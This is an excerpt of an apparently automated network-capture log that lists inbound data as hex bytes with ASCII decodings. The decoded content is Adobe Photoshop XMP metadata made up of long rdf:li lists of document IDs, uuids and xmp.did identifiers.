2022-07-20 07:08:24 UTC	2349	IN	Data Raw: 69 3e 44 32 31 34 35 30 41 35 33 37 31 43 35 43 39 31 33 35 33 38 32 45 35 44 32 45 30 31 45 39 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 32 31 42 32 33 34 38 35 34 34 41 31 38 36 34 36 30 41 41 38 46 30 30 43 43 32 35 30 35 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 32 35 33 35 37 42 34 34 32 38 44 33 37 45 42 45 33 32 37 32 36 36 36 37 43 38 42 39 45 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 32 35 41 43 46 36 44 31 43 39 38 45 34 31 41 35 39 43 33 39 31 37 32 36 46 35 35 41 37 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 32 35 44 36 46 36 32 46 35 33 34 43 45 39 32 36 37 43 41 44 43 38 31 36 33 43 42 44 42 34 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 32 37 Data Ascii: i>D21450A5371C5C9135382E5D2E01E986</rdf:li> <rdf:li>D21B2348544A186460AA8F00CC2505F2</rdf:li> <rdf:li>D25357B4428D37EBE32726667C8B9E73</rdf:li> <rdf:li>D25ACF6D1C98E41A59C391726F55A70B</rdf:li> <rdf:li>D25D6F62F534CE9267CADC8163CBDB4A</rdf:li> <rdf:li>D27
2022-07-20 07:08:24 UTC	2388	IN	Data Raw: 44 41 35 34 31 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 38 37 46 38 44 36 45 35 31 46 32 37 36 30 31 43 32 32 35 42 44 42 31 46 39 39 43 33 33 42 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 38 39 30 43 31 38 30 41 34 38 45 33 43 42 33 38 46 38 34 34 34 30 46 43 30 31 39 36 43 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 38 39 44 42 45 41 35 32 30 37 46 39 43 41 35 32 42 44 34 36 39 42 31 44 33 36 30 31 36 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 38 41 36 39 34 38 34 31 41 37 33 43 46 30 41 31 37 41 37 38 41 39 33 39 34 45 32 34 38 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 38 42 42 37 34 44 39 39 46 41 37 31 39 36 33 38 39 39 43 37 41 34 35 31 45 32 32 43 45 Data Ascii: DA54164</rdf:li> <rdf:li>D87F8D6E51F27601C225BDB1F99C33BE</rdf:li> <rdf:li>D890C180A48E3CB38F84440FC0196C12</rdf:li> <rdf:li>D89DBEA5207F9CA52BD469B1D360163B</rdf:li> <rdf:li>D8A694841A73CF0A17A78A9394E2480E</rdf:li> <rdf:li>D8BB74D99FA71963899C7A451E22CE
2022-07-20 07:08:24 UTC	2460	IN	Data Raw: 44 39 42 46 31 46 44 43 30 33 37 45 33 32 39 37 44 32 45 42 36 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 36 32 44 31 31 41 39 43 31 43 41 43 31 39 43 36 44 46 45 34 33 36 33 35 45 41 37 39 42 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 36 35 37 46 38 38 45 42 41 43 35 34 45 41 43 39 31 38 33 44 44 39 30 39 44 31 42 38 44 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 36 35 45 46 41 45 31 45 41 37 34 46 32 44 35 33 30 33 36 37 41 32 37 39 32 35 43 36 46 45 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 36 37 33 39 33 45 35 34 31 38 32 36 34 33 44 39 30 33 42 35 43 45 46 30 36 33 36 45 45 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 36 37 36 35 37 45 38 38 31 43 32 43 34 Data Ascii: D9BF1FDC037E3297D2EB60D</rdf:li> <rdf:li>E62D11A9C1CAC19C6DFE43635EA79B17</rdf:li> <rdf:li>E657F88EBAC54EAC9183DD909D1B8D16</rdf:li> <rdf:li>E65EFAE1EA74F2D530367A27925C6FE6</rdf:li> <rdf:li>E67393E54182643D903B5CEF0636EE09</rdf:li> <rdf:li>E67657E881C2C4
2022-07-20 07:08:24 UTC	2476	IN	Data Raw: 72 64 66 3a 6c 69 3e 46 31 42 32 44 34 30 36 31 41 38 37 42 38 32 44 36 42 33 39 45 44 32 35 41 35 39 44 45 44 43 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 31 42 33 34 36 31 37 39 41 41 39 44 30 38 33 46 33 34 30 38 32 30 35 30 41 45 45 38 41 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 31 42 38 44 38 43 31 39 46 45 30 37 31 30 43 41 36 39 37 44 46 39 32 44 42 42 42 39 34 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 31 43 34 32 44 43 31 43 43 34 36 38 46 37 43 32 34 42 42 45 43 43 39 30 44 30 33 36 34 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 31 44 32 42 31 45 32 44 37 39 36 38 39 33 42 31 42 31 36 32 41 41 34 39 43 35 33 30 32 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c Data Ascii: rdf:li>F1B2D4061A87B82D6B39ED25A59DEDC9</rdf:li> <rdf:li>F1B346179AA9D083F34082050AEE8AC8</rdf:li> <rdf:li>F1B8D8C19FE0710CA697DF92DBBB9487</rdf:li> <rdf:li>F1C42DC1CC468F7C24BBECC90D036414</rdf:li> <rdf:li>F1D2B1E2D796893B1B162AA49C5302A6</rdf:li> <rdf:l
2022-07-20 07:08:24 UTC	2508	IN	Data Raw: 66 3a 6c 69 3e 46 38 35 41 32 35 30 30 30 33 35 31 46 46 44 46 31 30 46 39 44 46 31 30 36 30 42 39 43 36 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 38 36 41 36 46 31 37 37 39 31 36 39 37 38 39 33 45 32 42 36 36 33 44 35 34 36 41 42 31 39 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 38 38 33 36 32 37 46 34 37 31 31 35 44 37 30 35 31 46 31 37 43 46 35 36 33 41 35 39 45 37 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 38 38 37 39 30 31 43 41 41 43 44 39 43 37 30 46 43 31 39 39 41 30 30 38 35 39 39 34 39 42 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 38 38 38 36 30 36 41 35 41 43 45 46 41 44 36 41 41 44 45 38 38 45 31 38 31 45 44 42 41 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e Data Ascii: f:li>F85A25000351FFDF10F9DF1060B9C6FC</rdf:li> <rdf:li>F86A6F17791697893E2B663D546AB193</rdf:li> <rdf:li>F883627F47115D7051F17CF563A59E7C</rdf:li> <rdf:li>F887901CAACD9C70FC199A00859949B1</rdf:li> <rdf:li>F888606A5ACEFAD6AADE88E181EDBA46</rdf:li> <rdf:li>
2022-07-20 07:08:24 UTC	2635	IN	Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 36 31 33 63 66 30 32 2d 35 62 66 63 2d 31 31 37 38 2d 61 63 35 38 2d 62 38 30 31 33 63 65 34 32 61 39 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 36 35 36 34 62 62 31 2d 64 61 33 36 2d 31 31 65 34 2d 39 38 33 34 2d 38 64 64 62 35 34 62 63 31 39 30 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 36 63 63 65 35 31 30 2d 61 64 31 34 2d 31 31 37 38 2d 38 35 33 62 2d 66 62 36 62 33 36 34 33 34 63 39 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 Data Ascii: /rdf:li> <rdf:li>adobe:docid:photoshop:1613cf02-5bfc-1178-ac58-b8013ce42a9e</rdf:li> <rdf:li>adobe:docid:photoshop:16564bb1-da36-11e4-9834-8ddb54bc1907</rdf:li> <rdf:li>adobe:docid:photoshop:16cce510-ad14-1178-853b-fb6b36434c9b</rdf:li> <rdf:li>adobe:doci
2022-07-20 07:08:24 UTC	2675	IN	Data Raw: 63 34 32 2d 38 38 66 31 2d 31 31 65 35 2d 38 31 32 61 2d 62 39 30 37 37 30 64 31 37 31 65 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 36 65 39 65 32 31 35 2d 35 30 63 33 2d 31 31 64 63 2d 62 36 66 34 2d 65 62 31 35 33 64 30 65 32 65 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 37 38 39 62 31 63 36 2d 62 31 64 61 2d 31 31 65 36 2d 39 33 37 65 2d 39 62 39 35 31 34 38 36 37 31 39 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 37 61 36 61 66 34 65 2d 30 37 66 36 2d 31 31 37 38 2d 61 31 31 34 2d 64 61 36 34 64 64 31 33 Data Ascii: c42-88f1-11e5-812a-b90770d171e4</rdf:li> <rdf:li>adobe:docid:photoshop:46e9e215-50c3-11dc-b6f4-eb153d0e2e04</rdf:li> <rdf:li>adobe:docid:photoshop:4789b1c6-b1da-11e6-937e-9b9514867191</rdf:li> <rdf:li>adobe:docid:photoshop:47a6af4e-07f6-1178-a114-da64dd13
2022-07-20 07:08:24 UTC	2778	IN	Data Raw: 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 66 66 63 65 34 61 61 2d 31 38 64 32 2d 65 37 34 62 2d 62 33 32 61 2d 65 38 34 64 36 65 32 34 62 37 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 30 32 61 33 38 35 61 2d 32 65 37 64 2d 31 31 37 38 2d 39 66 35 30 2d 64 30 63 61 30 39 34 32 63 37 63 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 30 34 63 66 32 33 37 2d 62 36 61 65 2d 31 31 65 31 2d 62 36 61 36 2d 64 32 65 36 37 34 30 63 33 37 61 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 30 35 64 Data Ascii: >adobe:docid:photoshop:5ffce4aa-18d2-e74b-b32a-e84d6e24b748</rdf:li> <rdf:li>adobe:docid:photoshop:602a385a-2e7d-1178-9f50-d0ca0942c7ca</rdf:li> <rdf:li>adobe:docid:photoshop:604cf237-b6ae-11e1-b6a6-d2e6740c37af</rdf:li> <rdf:li>adobe:docid:photoshop:605d
2022-07-20 07:08:24 UTC	2817	IN	Data Raw: 64 64 2d 61 34 33 36 31 32 32 64 30 64 33 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 65 35 30 31 31 38 30 2d 61 63 65 31 2d 31 31 65 36 2d 61 34 31 36 2d 39 65 39 62 33 62 65 30 30 35 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 66 30 62 34 61 64 34 2d 35 36 34 62 2d 31 31 65 36 2d 62 62 32 66 2d 39 31 61 61 30 34 33 63 31 65 34 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 69 67 37 52 59 41 76 2d 58 78 38 6b 2d 41 31 4b 39 2d 45 4b 39 6d 2d 49 56 67 43 47 45 32 73 48 47 77 52 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 Data Ascii: dd-a436122d0d3f</rdf:li> <rdf:li>adobe:docid:photoshop:8e501180-ace1-11e6-a416-9e9b3be00549</rdf:li> <rdf:li>adobe:docid:photoshop:8f0b4ad4-564b-11e6-bb2f-91aa043c1e4a</rdf:li> <rdf:li>adobe:docid:photoshop:8ig7RYAv-Xx8k-A1K9-EK9m-IVgCGE2sHGwR</rdf:li> <r
2022-07-20 07:08:24 UTC	2833	IN	Data Raw: 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 33 36 65 31 37 31 36 2d 64 32 30 31 2d 31 31 64 61 2d 61 33 30 64 2d 64 62 62 39 31 36 66 35 30 34 39 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 33 38 38 33 35 39 39 2d 66 33 64 32 2d 31 31 65 36 2d 62 61 36 37 2d 61 61 64 30 32 33 63 35 30 65 35 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 33 63 38 37 34 32 37 2d 63 38 31 34 2d 31 31 37 61 2d 39 32 35 65 2d 62 32 64 66 39 36 35 62 39 64 35 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 34 32 32 63 64 39 36 2d 62 66 34 34 2d 31 31 Data Ascii: :photoshop:c36e1716-d201-11da-a30d-dbb916f5049d</rdf:li> <rdf:li>adobe:docid:photoshop:c3883599-f3d2-11e6-ba67-aad023c50e50</rdf:li> <rdf:li>adobe:docid:photoshop:c3c87427-c814-117a-925e-b2df965b9d5f</rdf:li> <rdf:li>adobe:docid:photoshop:c422cd96-bf44-11
2022-07-20 07:08:24 UTC	2841	IN	Data Raw: 65 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 66 64 39 37 30 30 35 2d 33 32 33 65 2d 31 31 64 61 2d 38 66 37 31 2d 38 38 65 63 62 36 30 38 31 62 63 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 30 32 64 38 31 30 37 2d 31 39 61 61 2d 31 31 37 38 2d 39 63 37 34 2d 66 32 65 34 61 38 37 66 63 32 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 30 33 36 38 30 30 63 2d 30 35 63 66 2d 31 31 64 61 2d 61 32 32 64 2d 65 61 32 37 35 35 64 30 61 34 32 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 Data Ascii: ec</rdf:li> <rdf:li>adobe:docid:photoshop:dfd97005-323e-11da-8f71-88ecb6081bc5</rdf:li> <rdf:li>adobe:docid:photoshop:e02d8107-19aa-1178-9c74-f2e4a87fc266</rdf:li> <rdf:li>adobe:docid:photoshop:e036800c-05cf-11da-a22d-ea2755d0a42b</rdf:li> <rdf:li>adobe:d
2022-07-20 07:08:24 UTC	2857	IN	Data Raw: 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 34 33 44 37 46 38 44 46 35 46 45 44 46 31 31 38 46 34 31 42 41 37 46 34 30 44 45 44 43 34 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 34 34 36 35 34 42 46 33 32 36 33 44 44 31 31 38 38 35 30 44 30 39 38 38 41 37 36 33 34 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 34 34 41 34 35 30 39 34 38 31 31 44 46 31 31 41 42 30 30 42 35 38 38 45 39 32 38 32 36 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 34 36 37 38 44 33 36 32 46 33 38 45 34 31 31 38 41 46 43 42 38 34 35 36 41 37 30 32 38 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 34 37 34 45 36 35 39 46 44 Data Ascii: 59</rdf:li> <rdf:li>uuid:143D7F8DF5FEDF118F41BA7F40DEDC4A</rdf:li> <rdf:li>uuid:144654BF3263DD118850D0988A76346D</rdf:li> <rdf:li>uuid:144A45094811DF11AB00B588E92826D6</rdf:li> <rdf:li>uuid:14678D362F38E4118AFCB8456A7028AB</rdf:li> <rdf:li>uuid:1474E659FD
2022-07-20 07:08:24 UTC	3868	IN	Data Raw: 41 37 36 42 39 32 34 33 36 42 33 42 44 39 42 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 43 32 32 31 37 39 35 46 35 31 45 44 44 31 31 38 31 43 43 46 39 38 43 33 36 41 38 41 43 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 43 33 31 39 38 35 33 35 44 39 44 31 31 44 45 38 45 38 32 45 38 30 38 31 34 43 36 43 44 38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 43 35 36 41 38 44 43 33 34 30 43 44 44 31 31 42 37 44 44 42 45 44 41 30 36 41 31 32 32 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 43 38 36 42 33 45 36 32 39 45 36 45 30 31 31 42 39 46 44 46 30 37 43 38 41 35 30 39 39 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 Data Ascii: A76B92436B3BD9BD</rdf:li> <rdf:li>uuid:4C221795F51EDD1181CCF98C36A8AC20</rdf:li> <rdf:li>uuid:4C3198535D9D11DE8E82E80814C6CD80</rdf:li> <rdf:li>uuid:4C56A8DC340CDD11B7DDBEDA06A1225E</rdf:li> <rdf:li>uuid:4C86B3E629E6E011B9FDF07C8A509973</rdf:li> <rdf:li>u
2022-07-20 07:08:24 UTC	3876	IN	Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 31 39 45 41 38 42 33 46 42 44 42 44 43 31 31 41 33 36 39 43 45 44 32 42 37 34 43 44 34 31 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 32 30 41 43 44 37 38 37 30 34 39 45 30 31 31 38 45 37 31 41 43 45 35 46 31 46 43 38 45 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 32 37 37 32 39 46 36 46 33 34 45 45 30 31 31 41 33 38 31 38 43 35 34 30 33 46 46 38 36 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 32 38 42 33 30 35 39 41 38 34 35 44 46 31 31 42 35 34 34 43 41 38 45 43 43 31 31 38 31 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 32 39 41 41 36 41 43 31 32 43 37 44 42 31 31 Data Ascii: f:li> <rdf:li>uuid:619EA8B3FBDBDC11A369CED2B74CD410</rdf:li> <rdf:li>uuid:620ACD787049E0118E71ACE5F1FC8E6D</rdf:li> <rdf:li>uuid:627729F6F34EE011A3818C5403FF86EA</rdf:li> <rdf:li>uuid:628B3059A845DF11B544CA8ECC118138</rdf:li> <rdf:li>uuid:629AA6AC12C7DB11
2022-07-20 07:08:24 UTC	3892	IN	Data Raw: 35 34 36 44 45 31 31 38 45 30 35 45 30 30 41 39 32 34 44 38 43 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 34 45 34 39 32 43 44 46 45 46 38 44 45 31 31 39 37 46 32 43 37 45 31 45 44 44 41 43 32 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 34 45 36 35 30 42 32 36 42 33 34 45 30 31 31 39 35 36 30 44 36 39 43 35 38 39 38 45 34 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 34 45 43 30 43 33 43 43 35 34 41 31 31 44 45 42 36 43 35 38 30 34 30 36 45 44 39 31 34 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 34 46 41 43 34 35 38 34 46 32 46 44 44 31 31 42 44 35 33 44 45 43 42 42 32 35 42 36 31 32 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 Data Ascii: 546DE118E05E00A924D8CC5</rdf:li> <rdf:li>uuid:94E492CDFEF8DE1197F2C7E1EDDAC27E</rdf:li> <rdf:li>uuid:94E650B26B34E0119560D69C5898E421</rdf:li> <rdf:li>uuid:94EC0C3CC54A11DEB6C580406ED914EA</rdf:li> <rdf:li>uuid:94FAC4584F2FDD11BD53DECBB25B6129</rdf:li> <r
2022-07-20 07:08:24 UTC	3908	IN	Data Raw: 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 45 35 35 45 35 45 34 43 37 31 42 45 30 31 31 38 38 39 35 41 33 38 43 42 42 45 33 38 32 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 45 35 41 34 46 34 46 35 44 42 38 44 46 31 31 41 35 33 41 41 30 45 39 41 42 31 43 37 30 41 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 45 35 44 43 33 38 36 33 44 38 36 31 31 44 43 39 46 32 41 43 46 44 37 31 32 45 41 34 41 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 45 37 36 41 39 41 45 38 42 36 39 44 46 31 31 39 45 34 33 46 43 36 36 42 38 43 39 44 33 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 45 41 37 38 41 44 46 33 31 41 Data Ascii: 9</rdf:li> <rdf:li>uuid:CE55E5E4C71BE0118895A38CBBE38262</rdf:li> <rdf:li>uuid:CE5A4F4F5DB8DF11A53AA0E9AB1C70AF</rdf:li> <rdf:li>uuid:CE5DC3863D8611DC9F2ACFD712EA4A7F</rdf:li> <rdf:li>uuid:CE76A9AE8B69DF119E43FC66B8C9D3DD</rdf:li> <rdf:li>uuid:CEA78ADF31A
2022-07-20 07:08:24 UTC	3915	IN	Data Raw: 44 45 46 31 44 45 31 31 42 43 31 42 43 42 31 34 39 36 45 46 36 36 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 44 33 33 32 36 30 45 30 38 42 38 31 31 44 45 39 32 30 46 39 35 34 33 45 44 44 43 33 41 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 44 41 34 38 43 33 37 39 46 37 41 31 31 44 45 38 42 38 36 39 44 34 38 46 44 38 46 32 34 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 44 41 34 38 43 33 42 39 46 37 41 31 31 44 45 38 42 38 36 39 44 34 38 46 44 38 46 32 34 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 44 42 45 46 39 45 42 41 43 37 45 45 36 31 31 38 45 33 42 41 34 36 37 46 32 45 31 45 46 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c Data Ascii: DEF1DE11BC1BCB1496EF66FC</rdf:li> <rdf:li>uuid:ED33260E08B811DE920F9543EDDC3AD4</rdf:li> <rdf:li>uuid:EDA48C379F7A11DE8B869D48FD8F24D1</rdf:li> <rdf:li>uuid:EDA48C3B9F7A11DE8B869D48FD8F24D1</rdf:li> <rdf:li>uuid:EDBEF9EBAC7EE6118E3BA467F2E1EFAB</rdf:li> <
2022-07-20 07:08:24 UTC	3931	IN	Data Raw: 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 43 42 33 39 31 44 39 44 30 34 30 33 36 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 46 36 46 41 36 33 38 39 46 46 38 34 36 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 42 31 31 36 41 43 37 43 44 39 35 33 44 41 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 42 31 38 44 43 46 37 35 46 43 37 37 31 38 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 Data Ascii: i>xmp.did:0180117407206811ACB391D9D04036C8</rdf:li> <rdf:li>xmp.did:0180117407206811AF6FA6389FF84604</rdf:li> <rdf:li>xmp.did:0180117407206811B116AC7CD953DADF</rdf:li> <rdf:li>xmp.did:0180117407206811B18DCF75FC771844</rdf:li> <rdf:li>xmp.did:0180117407206
2022-07-20 07:08:24 UTC	3947	IN	Data Raw: 39 32 42 30 43 36 33 44 43 43 30 38 33 36 45 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 45 37 41 36 41 32 38 31 42 31 32 35 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 34 35 37 45 33 44 42 44 32 37 35 44 46 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 35 42 42 38 45 32 44 39 39 41 36 37 36 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 35 46 45 43 31 35 30 35 35 44 46 37 35 39 41 3c 2f 72 64 66 3a 6c Data Ascii: 92B0C63DCC0836E2</rdf:li> <rdf:li>xmp.did:058011740720681192E7A6A281B12522</rdf:li> <rdf:li>xmp.did:05801174072068119457E3DBD275DF87</rdf:li> <rdf:li>xmp.did:058011740720681195BB8E2D99A676D6</rdf:li> <rdf:li>xmp.did:058011740720681195FEC15055DF759A</rdf:l
